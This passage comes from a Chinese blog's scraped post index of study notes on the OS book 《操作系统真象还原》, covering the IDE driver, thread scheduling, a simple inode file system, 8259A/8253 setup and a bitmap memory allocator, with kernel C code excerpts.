ide_init() { uint8_t hd_cnt = *((uint8_t*)(0x475));// 获取硬盘的数量 list_init(&partition_list); channel_cnt = DIV_ROUND_UP(hd_cnt, 2); // 一个ide通道上有两个硬盘,根据硬盘数量反推有几个ide通道 struct ide_channel* channel; uint8_t channel_no = 0, dev_no = 0; /* 处理每个通道上的硬盘 */ while (channel_no < channel_cnt) { channel = &channels[channel_no]; sprintf(channel->name, "ide%d", channel_no); /* 为每个ide通道初始化端口基址及中断向量 */ switch (channel_no) { case 0: channel->port_base = 0x1f0; // ide0通道的起始端口号是0x1f0 channel->irq_no = 0x20 + 14; // 从片8259a上倒数第二的中断引脚,温盘,也就是ide0通道的的中断向量号 break; case 1: channel->port_base = 0x170; // ide1通道的起始端口号是0x170 channel->irq_no = 0x20 + 15; // 从8259A上的最后一个中断引脚,我们用来响应ide1通道上的硬盘中断 break; } channel->expecting_intr = false; // 未向硬盘写入指令时不期待硬盘的中断 lock_init(&channel->lock); /* 初始化为0,目的是向硬盘控制器请求数据后,硬盘驱动sema_down此信号量会阻塞线程, 直到硬盘完成后通过发中断,由中断处理程序将此信号量sema_up,唤醒线程. */ sema_init(&channel->disk_done, 0); register_handler(channel->irq_no, intr_hd_handler); /* 分别获取两个硬盘的参数及分区信息 */ while (dev_no < 2) { struct disk* hd = &channel->devices[dev_no]; hd->my_channel = channel; hd->dev_no = dev_no; sprintf(hd->name, "sd%c", 'a' + channel_no * 2 + dev_no); identify_disk(hd); // 获取硬盘参数 if (dev_no != 0) { // 内核本身的裸硬盘(hd60M.img)不处理 partition_scan(hd, 0); // 扫描该硬盘上的分区 } p_no = 0, l_no = 0; dev_no++; } dev_no = 0; // 将硬盘驱动器号置0,为下一个channel的两个硬盘初始化。 channel_no++; // 下一个channel } printk("\\n all partition info\\n"); /* 打印所有分区信息 */ list_traversal(&partition_list, partition_info, (int)NULL); printk("ide_init done\\n");}\n\n过程并不复杂,根据注释大概就能理解过程了,细节参考一下本书代码中的结构体和讲解应该不难理解。\n该函数主要是完成两个ide通道的初始化,让之后读取能够顺利进行:\n/* ata通道结构 */struct ide_channel { char name[8]; // 本ata通道名称, 如ata0,也被叫做ide0. 可以参考bochs配置文件中关于硬盘的配置。 uint16_t port_base; // 本通道的起始端口号 uint8_t irq_no; // 本通道所用的中断号 struct lock lock; bool expecting_intr; // 向硬盘发完命令后等待来自硬盘的中断 struct semaphore disk_done; // 硬盘处理完成.线程用这个信号量来阻塞自己,由硬盘完成后产生的中断将线程唤醒 struct disk devices[2]; // 一个通道上连接两个硬盘,一主一从};\n\nidentify_disk就是发送identify指令并获取硬盘信息,而partition_scan负责扫描该磁盘,并向hd中填入数据(换个说法吧,partition_scan会开始扫描磁盘,通过磁盘里每个MBR和EBR的分区表来初始化hd指针指向的结构体)。\nselect_disk:\nstatic void select_disk(struct disk* hd) { uint8_t reg_device = BIT_DEV_MBS BIT_DEV_LBA; if (hd->dev_no == 1) { // 若是从盘就置DEV位为1 reg_device = BIT_DEV_DEV; } outb(reg_dev(hd->my_channel), reg_device);}\n\n写入硬盘寄存器,表示需要访问对应的磁盘\nstatic void select_sector(struct disk* hd, uint32_t lba, uint8_t sec_cnt) { struct ide_channel* channel = hd->my_channel; outb(reg_sect_cnt(channel), sec_cnt); // 如果sec_cnt为0,则表示写入256个扇区 outb(reg_lba_l(channel), lba); // lba地址的低8位,不用单独取出低8位.outb函数中的汇编指令outb %b0, %w1会只用al。 outb(reg_lba_m(channel), lba >> 8); // lba地址的8~15位 outb(reg_lba_h(channel), lba >> 16); // lba地址的16~23位 /* 因为lba地址的24~27位要存储在device寄存器的0~3位, * 无法单独写入这4位,所以在此处把device寄存器再重新写入一次*/ outb(reg_dev(channel), BIT_DEV_MBS BIT_DEV_LBA (hd->dev_no == 1 ? BIT_DEV_DEV : 0) lba >> 24);}\n\n同理,将需要写的扇区起始地址和需要访问的扇区数写入对应的寄存器。\n完成之后,再向硬盘发送read指令然后挂起进程陷入沉睡,等待硬盘响应(发起中断)后,告诉硬盘可以继续发出中断后,从固定端口读写数据即可。\n中断处理函数:\nvoid intr_hd_handler(uint8_t irq_no) { ASSERT(irq_no == 0x2e irq_no == 0x2f); uint8_t ch_no = irq_no - 0x2e; struct ide_channel* channel = &channels[ch_no]; ASSERT(channel->irq_no == irq_no);/* 不必担心此中断是否对应的是这一次的expecting_intr, * 每次读写硬盘时会申请锁,从而保证了同步一致性 */ if (channel->expecting_intr) { channel->expecting_intr = false; sema_up(&channel->disk_done);/* 读取状态寄存器使硬盘控制器认为此次的中断已被处理, * 从而硬盘可以继续执行新的读写 */ inb(reg_status(channel)); }}\n\n线程调度最后是有关线程调度的新内容,首先是主动挂起:\nvoid thread_yield(void) { struct task_struct* cur = running_thread(); enum intr_status old_status = intr_disable(); ASSERT(!elem_find(&thread_ready_list, &cur->general_tag)); list_append(&thread_ready_list, &cur->general_tag); cur->status = TASK_READY; schedule(); intr_set_status(old_status);}\n\n就是简单的把自己设为ready状态并挂进等待队列而已。\n另外一个是在调度队列中没有可调度的线程时,让调度器不至于出错而设定的线程:\n/* 系统空闲时运行的线程 */static void idle(void* arg UNUSED) { while(1) { thread_block(TASK_BLOCKED); //执行hlt时必须要保证目前处在开中断的情况下 asm volatile ("sti; hlt" : : : "memory"); }}\n\nhlt指令是让处理器停止运行,直到遇到中断为止。\n初始化时会主动创建该线程并将其阻塞。当调度器在调度队列中找不到可调度的线程时,会主动唤醒该线程,该线程会手动阻塞自己并等待下一次中断发生。\n\n插画ID:91443649\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter14/文件系统与遗憾","url":"/2022/03/06/systemkernel-chapter14/","content":"写在前面本章没能看完,有些可惜。主要是因为寒假结束,没有那种能够安静看书的时间了,所以最后两章我的阅读效率下降的很快;另外还是因为本书已经快要看完了,心态有点浮躁,实在不适合继续看下去了,于是本章笔记只对本章前半部分做了相对详细的笔记,但后半部分笔者没能读下去,所以肯定是不足的。\n以后若有时间的话,希望能把这本书完整读完吧。\n勘误本书P600页存在一个表述错误,特此摘出:\n\n“它被固定储存在各分区的第2个扇区,通常在占用一个扇区的大小。”\n\n此处“它”是指超级块。\n该表述不够严谨,在上一章中我们曾留意到:\n\n对于主分区,其开始的第一个磁道会被OBR占用,而OBR的大小不一定只占用一个扇区。在EXT4文件系统中,该OBR会占用两个扇区,所以该文件系统中的超级块存在于1024偏移处,也就是从第三个扇区开始\n对于总拓展分区,每个子拓展分区的开始是EBR,EBR和MBR是同构的。子拓展分区里的每个逻辑分区就相当于主分区,它们也都在相似的地方存在OBR,在EXT4文件系统中,超级块也都在1024偏移处\n\n综上,超级块的具体位置应该是和文件组织结构本身有关的,EXT4和FAT32等等各不相同的结构有各不相同的结果,本书在这方面没有表述清楚(注:从EXT2开始,引导块就占两个扇区1Kb大小了,至于FAT32是不是这样,笔者并没有查过)。\n不过本书的实现中,接下来会默认引导块只占用一个扇区,超级块从第二个扇区开始。\nhttps://akaedu.github.io/book/ch29s02.html\n前言本章虽然实现了一个简易的文件系统,不过它并没有实用性,只能用作理解掌握文件系统根本原理。最终完成格式化的硬盘并没有泛用性,属于是专属于该操作系统的硬盘了(当然,我没有说这样做不好,倒不如说这样做帮大忙了。所以只是提个醒,不要以本章实现的文件系统为准,只需要理解其原理即可)。\n文件系统总结一下文件系统的几个要点吧:\n\n操作系统为整个文件系统提供了inode结构体,每个文件对应一个inode。该结构体标识了文件属性和文件数据指针等内容。\n操作系统为所有文件维护了一个inode数组,访问文件的具体数据通过inode编号的下表直接寻址\n同时,对于任何一个文件,操作系统为其确定固定的结构体条目,该结构体中包含了文件名、文件大小、文件类型、inode编号等\n对于“目录文件”类型,这类文件的inode文件的数据指针处存放的是目录下其他文件的文件结构条目\n所有的文件都会被挂载在根目录下\n\n然后是操作系统的文件访问逻辑:假定目前文件系统已经完全初始化完成了\n\n首先由用户提供文件名\n操作系统根据该文件从根目录开始递归查询\n首先会访问根目录的数据区,该数据区存放了根目录下其他文件的结构条目,对比每个条目中的文件名和请求文件名\n若存在该文件,那么直接从条目中获取inode编号,通过inode编号得到文件对于数据区的指针\n若不存在该文件,则通过该目录下其他“目录类型”的文件继续递归查找,直到全目录搜索完毕或找到同名文件为止\n\n当然,上面描述的寻址有些简单粗暴,因为我们一般都会界定寻址的范围和开始的目录,很少从根目录就开始查询。并且,一般的系统都支持在不同的目录下运行同名文件出现,并且我们往往只在一层目录中寻找文件。\n不过概念上有些不同的是,现在我们通常描述的“文件名”其实是包括了父目录以后的文件名,比如“C:/file.txt”;而本书中所说的文件名就是单独所指的文件名,比如“file.txt”。前者属于更高级一点的概念,还是要做一点区分的。\n上述的两个结构体如下:有一定删减\n//文件结构条目(有删减)struct dir_entry { char filename[MAX_FILE_NAME_LEN]; // 普通文件或目录名称 uint32_t i_no; // 普通文件或目录对应的inode编号 enum file_types f_type; // 文件类型};\n\n/* inode结构 */struct inode { uint32_t i_no; // inode编号/* 当此inode是文件时,i_size是指文件大小,若此inode是目录,i_size是指该目录下所有目录项大小之和*/ uint32_t i_size; uint32_t i_open_cnts; // 记录此文件被打开的次数 bool write_deny; // 写文件不能并行,进程写文件前检查此标识/* i_sectors[0-11]是直接块, i_sectors[12]用来存储一级间接块指针 */ uint32_t i_sectors[13]; struct list_elem inode_tag;};\n\n其中,i_sectors指针是针对文件较大需要分散存放的文件设计的。硬盘的储存单位是“块”,对于一个块存放不下的文件,会指定其他块进行存放,为了寻址其他块,在inode结构体中通过一系列数组来记录每个块的指针。\n然后就是构建文件系统了。格式化硬盘的函数就在本段下面,不过在看之前还是先听笔者唠叨几句吧。\n一般来讲,我们现在装Linux都是先把硬盘(当然一般是U盘)格式化以后,写入操作系统镜像的。这个格式化其实就是在为硬盘创建文件系统。本书也说明了,现代的操作系统一般是先格式化硬盘,然后再初始化操作系统自己的,所以笔者认为,本来的话,文件系统是不需要操作系统的范畴的,因为操作系统不负责文件系统的构建,那是在制作启动盘的时候就完成的事情。\n本章的作者是自己去创建文件系统,而不是通过工具生成一块具有泛用性的磁盘文件,而是自己去仿造了一个类似的文件系统。虽然略感可惜,但对于笔者这样的初学者来说确实是帮大忙了。唠叨就到这里,下面是格式化函数:\n/* 格式化分区,也就是初始化分区的元信息,创建文件系统 */static void partition_format(struct partition* part) {/* 为方便实现,一个块大小是一扇区 */ uint32_t boot_sector_sects = 1; uint32_t super_block_sects = 1; uint32_t inode_bitmap_sects = DIV_ROUND_UP(MAX_FILES_PER_PART, BITS_PER_SECTOR); // I结点位图占用的扇区数.最多支持4096个文件 uint32_t inode_table_sects = DIV_ROUND_UP(((sizeof(struct inode) * MAX_FILES_PER_PART)), SECTOR_SIZE); uint32_t used_sects = boot_sector_sects + super_block_sects + inode_bitmap_sects + inode_table_sects; uint32_t free_sects = part->sec_cnt - used_sects; /************** 简单处理块位图占据的扇区数 ***************/ uint32_t block_bitmap_sects; block_bitmap_sects = DIV_ROUND_UP(free_sects, BITS_PER_SECTOR); /* block_bitmap_bit_len是位图中位的长度,也是可用块的数量 */ uint32_t block_bitmap_bit_len = free_sects - block_bitmap_sects; block_bitmap_sects = DIV_ROUND_UP(block_bitmap_bit_len, BITS_PER_SECTOR); /*********************************************************/ /* 超级块初始化 */ struct super_block sb; sb.magic = 0x19590318; sb.sec_cnt = part->sec_cnt; sb.inode_cnt = MAX_FILES_PER_PART; sb.part_lba_base = part->start_lba; sb.block_bitmap_lba = sb.part_lba_base + 2; // 第0块是引导块,第1块是超级块 sb.block_bitmap_sects = block_bitmap_sects; sb.inode_bitmap_lba = sb.block_bitmap_lba + sb.block_bitmap_sects; sb.inode_bitmap_sects = inode_bitmap_sects; sb.inode_table_lba = sb.inode_bitmap_lba + sb.inode_bitmap_sects; sb.inode_table_sects = inode_table_sects; sb.data_start_lba = sb.inode_table_lba + sb.inode_table_sects; sb.root_inode_no = 0; sb.dir_entry_size = sizeof(struct dir_entry); printk("%s info:\\n", part->name); printk(" magic:0x%x\\n part_lba_base:0x%x\\n all_sectors:0x%x\\n inode_cnt:0x%x\\n block_bitmap_lba:0x%x\\n block_bitmap_sectors:0x%x\\n inode_bitmap_lba:0x%x\\n inode_bitmap_sectors:0x%x\\n inode_table_lba:0x%x\\n inode_table_sectors:0x%x\\n data_start_lba:0x%x\\n", sb.magic, sb.part_lba_base, sb.sec_cnt, sb.inode_cnt, sb.block_bitmap_lba, sb.block_bitmap_sects, sb.inode_bitmap_lba, sb.inode_bitmap_sects, sb.inode_table_lba, sb.inode_table_sects, sb.data_start_lba); struct disk* hd = part->my_disk;/******************************* * 1 将超级块写入本分区的1扇区 * ******************************/ ide_write(hd, part->start_lba + 1, &sb, 1); printk(" super_block_lba:0x%x\\n", part->start_lba + 1);/* 找出数据量最大的元信息,用其尺寸做存储缓冲区*/ uint32_t buf_size = (sb.block_bitmap_sects >= sb.inode_bitmap_sects ? sb.block_bitmap_sects : sb.inode_bitmap_sects); buf_size = (buf_size >= sb.inode_table_sects ? buf_size : sb.inode_table_sects) * SECTOR_SIZE; uint8_t* buf = (uint8_t*)sys_malloc(buf_size); // 申请的内存由内存管理系统清0后返回/************************************** * 2 将块位图初始化并写入sb.block_bitmap_lba * *************************************/ /* 初始化块位图block_bitmap */ buf[0] = 0x01; // 第0个块预留给根目录,位图中先占位 uint32_t block_bitmap_last_byte = block_bitmap_bit_len / 8; uint8_t block_bitmap_last_bit = block_bitmap_bit_len % 8; uint32_t last_size = SECTOR_SIZE - (block_bitmap_last_byte % SECTOR_SIZE); // last_size是位图所在最后一个扇区中,不足一扇区的其余部分 /* 1 先将位图最后一字节到其所在的扇区的结束全置为1,即超出实际块数的部分直接置为已占用*/ memset(&buf[block_bitmap_last_byte], 0xff, last_size); /* 2 再将上一步中覆盖的最后一字节内的有效位重新置0 */ uint8_t bit_idx = 0; while (bit_idx <= block_bitmap_last_bit) { buf[block_bitmap_last_byte] &= ~(1 << bit_idx++); } ide_write(hd, sb.block_bitmap_lba, buf, sb.block_bitmap_sects);/*************************************** * 3 将inode位图初始化并写入sb.inode_bitmap_lba * ***************************************/ /* 先清空缓冲区*/ memset(buf, 0, buf_size); buf[0] = 0x1; // 第0个inode分给了根目录 /* 由于inode_table中共4096个inode,位图inode_bitmap正好占用1扇区, * 即inode_bitmap_sects等于1, 所以位图中的位全都代表inode_table中的inode, * 无须再像block_bitmap那样单独处理最后一扇区的剩余部分, * inode_bitmap所在的扇区中没有多余的无效位 */ ide_write(hd, sb.inode_bitmap_lba, buf, sb.inode_bitmap_sects);/*************************************** * 4 将inode数组初始化并写入sb.inode_table_lba * ***************************************/ /* 准备写inode_table中的第0项,即根目录所在的inode */ memset(buf, 0, buf_size); // 先清空缓冲区buf struct inode* i = (struct inode*)buf; i->i_size = sb.dir_entry_size * 2; // .和.. i->i_no = 0; // 根目录占inode数组中第0个inode i->i_sectors[0] = sb.data_start_lba; // 由于上面的memset,i_sectors数组的其它元素都初始化为0 ide_write(hd, sb.inode_table_lba, buf, sb.inode_table_sects);/*************************************** * 5 将根目录初始化并写入sb.data_start_lba ***************************************/ /* 写入根目录的两个目录项.和.. */ memset(buf, 0, buf_size); struct dir_entry* p_de = (struct dir_entry*)buf; /* 初始化当前目录"." */ memcpy(p_de->filename, ".", 1); p_de->i_no = 0; p_de->f_type = FT_DIRECTORY; p_de++; /* 初始化当前目录父目录".." */ memcpy(p_de->filename, "..", 2); p_de->i_no = 0; // 根目录的父目录依然是根目录自己 p_de->f_type = FT_DIRECTORY; /* sb.data_start_lba已经分配给了根目录,里面是根目录的目录项 */ ide_write(hd, sb.data_start_lba, buf, 1); printk(" root_dir_lba:0x%x\\n", sb.data_start_lba); printk("%s format done\\n", part->name); sys_free(buf);}\n\n磁盘内容分布如下:\n\n第一扇区中存在一个Boot Block,也就是EBR或者MBR,然后紧跟着的是占用一个扇区的超级块,其结构如下:\n/* 超级块 */struct super_block { uint32_t magic; // 用来标识文件系统类型,支持多文件系统的操作系统通过此标志来识别文件系统类型 uint32_t sec_cnt; // 本分区总共的扇区数 uint32_t inode_cnt; // 本分区中inode数量 uint32_t part_lba_base; // 本分区的起始lba地址 uint32_t block_bitmap_lba; // 块位图本身起始扇区地址 uint32_t block_bitmap_sects; // 扇区位图本身占用的扇区数量 uint32_t inode_bitmap_lba; // i结点位图起始扇区lba地址 uint32_t inode_bitmap_sects; // i结点位图占用的扇区数量 uint32_t inode_table_lba; // i结点表起始扇区lba地址 uint32_t inode_table_sects; // i结点表占用的扇区数量 uint32_t data_start_lba; // 数据区开始的第一个扇区号 uint32_t root_inode_no; // 根目录所在的I结点号 uint32_t dir_entry_size; // 目录项大小 uint8_t pad[460]; // 加上460字节,凑够512字节1扇区大小} __attribute__ ((packed));#endif\n\n该超级块中表明了分区的扇区数、inode数、根目录位置等信息。通过magic来确定文件系统类型或判断是否存在文件系统。\n在ide通道初始化完成以后,操作系统就已经获得了有关磁盘和分区的主要信息。但分区并没有建立文件系统。\nfilesys_init函数负责从ide通道中获取每个分区,然后通过partition_format函数初始化每个分区。\npartition_format函数首先初始化超级块,然后是块位图以及inode位图,再之后初始化inode数组和根目录。\n\n这里插入一点关于rootfs的内容。其实现在所实现的根目录就是一个简化版的rootfs。\n真正的rootfs在内核开启时第一个被挂载,由它提供根目录‘/’,并从该目录下会加载出一些初始化脚本和服务到内存,init进程也运行在根目录文件系统上。\nhttps://cloud.tencent.com/developer/article/1791275\n\n\n插画ID:1134778859747008514(tw)\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter7笔记与总结","url":"/2022/01/31/systemkernel-chapter7/","content":"PART 1    首先,计算机的中断根据其来源可分为内部和外部。外部中断常常是由外部设备发起,或是计算机遇到了某些遭难性错误而发生,相对于内部中断的发生频率来说要小些。因此也仅做了解。\n    而内部中断则要更加常见,根据其发出中断来源分为软中断和异常。软中断是由软件主动或被动发起的,一般是 “INT” 族的指令主动调用的。这类指令均已在处理器中编码,并通过数据线连接到芯片上。即实际向处理器发出中断的是8259A芯片组。8259A芯片的几个IRQ接口(Interrupt ReQuest:中断请求接口)已经预先和其他的可能发出中断的设备连接好了,对应关系如下(但这些IRQ并不是所有引脚,8259A每个芯片似乎有28个引脚)。\n\n    如IRQ0的时钟中断会在处理器加电以后自动且定期地向8259A芯片发出中断(定期:根据8253计数器的设定频率发生)。\n    接下来,只要对8259A芯片进行编程,就能够实现硬件层面的中断控制了,诸如中断屏蔽或中断优先级等。编程仅分为初始化和操作,通过ICW1ICW4(Initialization Command Words)初始化,OCW1OCW3(Operation Command Words)操作。\n    ICW1:规定8259的连接方式(单片或级联)与中断源请求信号的有效形式(边沿或电平触发)\n\n    ICW2(中断类型码字):设置中断类型码的初始化命令字\n\n    ICW3(级连控制字):标志主片/从片的初始化命令字\n\n    ICW4(中断结束方式字):方式控制初始化命令字\n\n\n注:\n    ICW必须按照顺序分别写入主片和从片,ICW1写入主片0x20,从片0xA0端口;ICW2~4写入主片0x21,从片0xA1端口。\n\nOCW1:用于对中断屏蔽寄存器IMR进行读/写。\n\nOCW2:用于设定中断优先级\n\nOCW3:设置或清除特殊屏蔽方式和读取寄存器状态(IRR 和 ISR)\n\n\n注:\n    OCW无写入顺序要求,OCW1写入主片0x21,从片0xA1端口;OCW2~3写入主片0x20,从片0xA0端口\n\n/* 初始化主片 */outb (PIC_M_CTRL, 0x11); // ICW1: 边沿触发,级联8259, 需要ICW4.outb (PIC_M_DATA, 0x20); // ICW2: 起始中断向量号为0x20,也就是IR[0-7] 为 0x20 ~ 0x27.outb (PIC_M_DATA, 0x04); // ICW3: IR2接从片. outb (PIC_M_DATA, 0x01); // ICW4: 8086模式, 正常EOI/* 初始化从片 */outb (PIC_S_CTRL, 0x11); // ICW1: 边沿触发,级联8259, 需要ICW4.outb (PIC_S_DATA, 0x28); // ICW2: 起始中断向量号为0x28,也就是IR[8-15] 为 0x28 ~ 0x2F.outb (PIC_S_DATA, 0x02); // ICW3: 设置从片连接到主片的IR2引脚outb (PIC_S_DATA, 0x01); // ICW4: 8086模式, 正常EOI/* 打开主片上IR0,也就是目前只接受时钟产生的中断 */outb (PIC_M_DATA, 0xfe);outb (PIC_S_DATA, 0xff);\n\nPART 2    现在,中断已经会正常触发了。但仅仅只是触发中断而已,触发以后的关键——中断处理程序还没能实现。中断发生流程如下:\n设备发出中断信号给8259芯片,芯片检测是否屏蔽该设备发出的中断,若未屏蔽,则通知处理器发生中断且告知处理器中断号,否则直接忽略该信号。处理器收到中断信号以后,先将上下文保存,然后关闭中断,访问IDTR(Interrupt Descriptor Table Register)获取中断描述表,以中断号为索引获得对应的中断描述符,通过描述符内容调用对应的中断处理程序。\n\n注:此处所指的上下文是指SS、ESP、EFLAGS、CS、EIP,以及所有通用寄存器。但如果没有发生特权级转移,SS和ESP则不需要被保存,直接沿用即可。\n另外需要注意的是,中断的特权级转移同样指会从低特权级向高特权级转移。因此同样也必须要求,触发中断的调用者特权级低于或等于被调用者的特权级\n\n        门描述符如下:主要用到中断门描述符(8 Byte)\n\n    此类描述符将构成中断描述符表,并将其起始地址加载进IDTR(IDT Register)\nstruct gate_desc { uint16_t func_offset_low_word; uint16_t selector; uint8_t dcount; uint8_t attribute; uint16_t func_offset_high_word;};static void make_idt_desc(struct gate_desc* p_gdesc, uint8_t attr, intr_handler function) { p_gdesc->func_offset_low_word = (uint32_t) function & 0x0000FFFF; p_gdesc->selector = SELECTOR_K_CODE; p_gdesc->dcount = 0; p_gdesc->attribute = attr; p_gdesc->func_offset_high_word = ((uint32_t) function & 0xFFFF0000) >> 16;}static void idt_desc_init(void) { int i; for (i = 0; i < IDT_DESC_CNT; i++) { make_idt_desc(&idt[i], IDT_DESC_ATTR_DPL0, intr_entry_table[i]); } put_str("idt_desc_init done.\\n");}//intr_entry_table是中断处理函数的入口函数,仅做保存上下文和调用真正的处理函数这两个工作static void exception_init(void) { int i; for (i = 0; i < IDT_DESC_CNT; i++) { idt_table[i] = general_intr_handler; intr_name[i] = "unknown"; } intr_name[0] = "#DE Divide Error"; intr_name[1] = "#DB Debug Exception"; intr_name[2] = "NMI Interrupt"; intr_name[3] = "#BP Breakpoint Exception"; intr_name[4] = "#OF Overflow Exception"; intr_name[5] = "#BR BOUND Range Exceeded Exception"; intr_name[6] = "#UD Invalid Opcode Exception"; intr_name[7] = "#NM Device Not Available Exception"; intr_name[8] = "#DF Double Fault Exception"; intr_name[9] = "Coprocessor Segment Overrun"; intr_name[10] = "#TS Invalid TSS Exception"; intr_name[11] = "#NP Segment Not Present"; intr_name[12] = "#SS Stack Fault Exception"; intr_name[13] = "#GP General Protection Exception"; intr_name[14] = "#PF Page-Fault Exception"; // intr_name[15] 第15项是intel保留项,未使用 intr_name[16] = "#MF x87 FPU Floating-Point Error"; intr_name[17] = "#AC Alignment Check Exception"; intr_name[18] = "#MC Machine-Check Exception"; intr_name[19] = "#XF SIMD Floating-Point Exception";}//idt_table是真正的中断处理函数//intr_entry_table中的中断处理函数入口函数中存在指令://call [idt_table + %1*4]\n\nPART 3    时钟频率。\n    计算机是时钟分为外部时钟和内部时钟。\n    内部时钟由主板上的晶体振荡器产生,或称之为“晶振”。处理器和南北桥的通信基于该频率,称之为“外频”。外频×倍频=主频,处理器取指、执行的时钟周期基于主频。内部时钟出厂时固定,一般是最快的,单位常为纳秒ns。\n    外部时钟是处理器与外部设备之间通信时采用的时序。一般是毫秒ms或秒s级别。\n    处理器的速度显然是远快于外部设备的,但只要外部设备需要同计算机进行数据交换,就需要将双方的时钟按照一定比例同步。\n\n一个简单例子是:\n    处理器会在每次中断的时候从外部设备的固定端口读取数据。\n    假设处理器频率100HZ,外部设备只能接受最高10HZ的传输速率,为了保证数据的稳定传输,就需要将处理器发送中断的频率降低到10HZ。我们显然不能真的去降低处理器的频率,那样未免有过多的浪费了,因此我们另外引入一个“计时器”,让这个计算器代替处理器去发出时钟中断信号,这样就能保证处理器原有的运行频率,同时降低发出中断的频率了。\n    当然,处理器要比100HZ,外部设备一般也不会慢到10HZ,这里只是大个好懂的比方罢了。\n\n        例中的“计时器”便是指8253芯片。该芯片自带三个计数器,每个计数器自带三个寄存器。\n\n    计数初值寄存器、减法寄存器、输出锁存器三个寄存器的功能根据名字便能大概理解了。就是将计数初值寄存器放入减法寄存器,同时将计数器的GATE引脚置1,减法计数器就会在每个CLK到来时降低1,当其值为0时,将会发送信号并停止计数/重新开始。不过值得在意的是,计数器的CLK引脚连接的是10MHZ脉冲,而8253的频率只有2MHZ。\n    8253的编程更加容易,其只有一个控制字。三个计数器分别对应的端口是0x40~0x42。控制字结构如下:\n\n    而0x43端口将用于写入初值。\n但需要注意的是,计数器0的发送端已经和8259A芯片的IRQ0连接好了。也就是说,默认加电以后,这里面就会被自动赋予一个初值并开始发送时钟中断信号。所以时钟中断信号一开始就从这里发出,想要调节频率,只需要修改计数器0中的初值寄存器中的值即可。\n/* 把操作的计数器counter_no、读写锁属性rwl、计数器模式counter_mode写入模式控制寄存器并赋予初始值counter_value */static void frequency_set(uint8_t counter_port, \\ uint8_t counter_no, \\ uint8_t rwl, \\ uint8_t counter_mode, \\ uint16_t counter_value) {/* 往控制字寄存器端口0x43中写入控制字 */ outb(PIT_CONTROL_PORT, (uint8_t)(counter_no << 6 rwl << 4 counter_mode << 1));/* 先写入counter_value的低8位 */ outb(counter_port, (uint8_t)counter_value);/* 再写入counter_value的高8位 */ outb(counter_port, (uint8_t)counter_value >> 8);}/* 初始化PIT8253 */void timer_init() { put_str("timer_init start\\n"); /* 设置8253的定时周期,也就是发中断的周期 */ frequency_set(CONTRER0_PORT, COUNTER0_NO, READ_WRITE_LATCH, COUNTER_MODE, COUNTER0_VALUE); put_str("timer_init done\\n");}\n\n插画ID:93758526\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter8 笔记与警醒","url":"/2022/02/04/systemkernel-chapter8/","content":"\n    读这章遇到的最大的问题就是:“我意会错了这一章想给我讲什么”,以至于整章读完十分困惑,一开始的问题没能解决以至于错过了很多东西,最终效果不是很好……\n    现在来重新梳理一下本章的内容究竟是在讲什么,解决什么问题。\n\nPART 1    我将makefile、ASSERT、字符串操作,以及位图操作四个小节划分为第一部分,最后一节作为第二部分。\n    第一部分的内容不多,只涉及一些操作的实现,并没有具体到“欲解决的问题”。因此只需要了解其实现的原理,在以后需要自己手动实现的时候回顾即可。笔者以为不需要对这部分做过多的记录。\n    不过位图操作的概念和Part 2有一定的联系,因此在这里也需要再提几句。\n    位图(bitmap)的概念即将”bit位同一个具体事物间建立映射关系,用0和1标识事物的两个状态”。具体到之后的内存管理就是:\n\n以后的内存分配将以“内存页”为基本单位进行分配。建立位图和整块内存的映射关系,用1标识该内存页已被分配,用0标识该内存页未被分配。\n建立完成以后,从此便只需要扫描位图中的每个bit就能够得知内存中哪个内存页可用,方便以后进行内存分配。\n\nstruct bitmap { uint32_t btmp_bytes_len; uint8_t* bits;};//位图是储存在内存里的,在平坦模式下的位图只需要一个指针加上标识位图长度的flag足矣。\n\nint bitmap_scan(struct bitmap* btmp, uint32_t cnt) { uint32_t idx_byte = 0; while (( 0xff == btmp->bits[idx_byte]) && (idx_byte < btmp->btmp_bytes_len)) { idx_byte++; } ASSERT(idx_byte < btmp->btmp_bytes_len); if (idx_byte == btmp->btmp_bytes_len) { return -1; } int idx_bit = 0; while ((uint8_t)(BITMAP_MASK << idx_bit) & btmp->bits[idx_byte]) { idx_bit++; } int bit_idx_start = idx_byte * 8 + idx_bit; if (cnt == 1) { return bit_idx_start; } uint32_t bit_left = (btmp->btmp_bytes_len * 8 - bit_idx_start); // 记录还有多少位可以判断 uint32_t next_bit = bit_idx_start + 1; uint32_t count = 1; bit_idx_start = -1; while (bit_left-- > 0) { if (!(bitmap_scan_test(btmp, next_bit))) { count++; } else { count = 0; } if (count == cnt) { bit_idx_start = next_bit - cnt + 1; break; } next_bit++; } return bit_idx_start;}\n\nPART 2    节名“内存管理系统”,但本节所指的内存是“物理内存”,本节管理的对象也是“物理内存”,而不是“虚拟内存”,但因为分页机制已经启用,所以本节所用的地址却是”虚拟地址“。但本节似乎过早的介绍了多进程中”每个进程独享4G地址空间“的概念,以至于我一直以为它接下来会实现这个功能,但结论并非如此,所以我算是扑空了。\n    本节的逻辑是这样的:\n    首先为了区分虚拟地址和物理空间,建立了”虚拟地址池“和”物理内存池“。同时,我们将整个物理内存分为”用户物理内存池“和”内核物理内存池“。\n    此处”建立“一次的过程包括:界定内存池基址、位图清零两个过程。\n    然后是构建分配机制。\n\n从虚拟地址池分配内存页\n从物理内存池分配内存页\n建立虚拟地址和物理地址的映射关系\n\n    但本节只涉及到了分配,却没用对应的归还操作。也不知道之后几章会不会涉及。\n    同时需要注意到,本节并未给内核建立独立的页表。我此前一直抱有”不同进程有着相同的虚拟地址“这一问题,也知道这需要通过切换页表来实现,但本节并未实现这个功能,它只是为内核添加了分配内存的能力罢了。具体看如下内容。\n    笔者认为最后一步是最难理解也最重要的。代码如下:\nstatic void page_table_add(void* _vaddr, void* _page_phyaddr) { uint32_t vaddr = (uint32_t)_vaddr, page_phyaddr = (uint32_t)_page_phyaddr; uint32_t* pde = pde_ptr(vaddr); uint32_t* pte = pte_ptr(vaddr); if (*pde & 0x00000001) { // 页目录项和页表项的第0位为P,此处判断目录项是否存在 ASSERT(!(*pte & 0x00000001)); if (!(*pte & 0x00000001)) { *pte = (page_phyaddr PG_US_U PG_RW_W PG_P_1); // US=1,RW=1,P=1 } else { PANIC("pte repeat"); *pte = (page_phyaddr PG_US_U PG_RW_W PG_P_1); // US=1,RW=1,P=1 } } else { // 页目录项不存在,所以要先创建页目录再创建页表项. uint32_t pde_phyaddr = 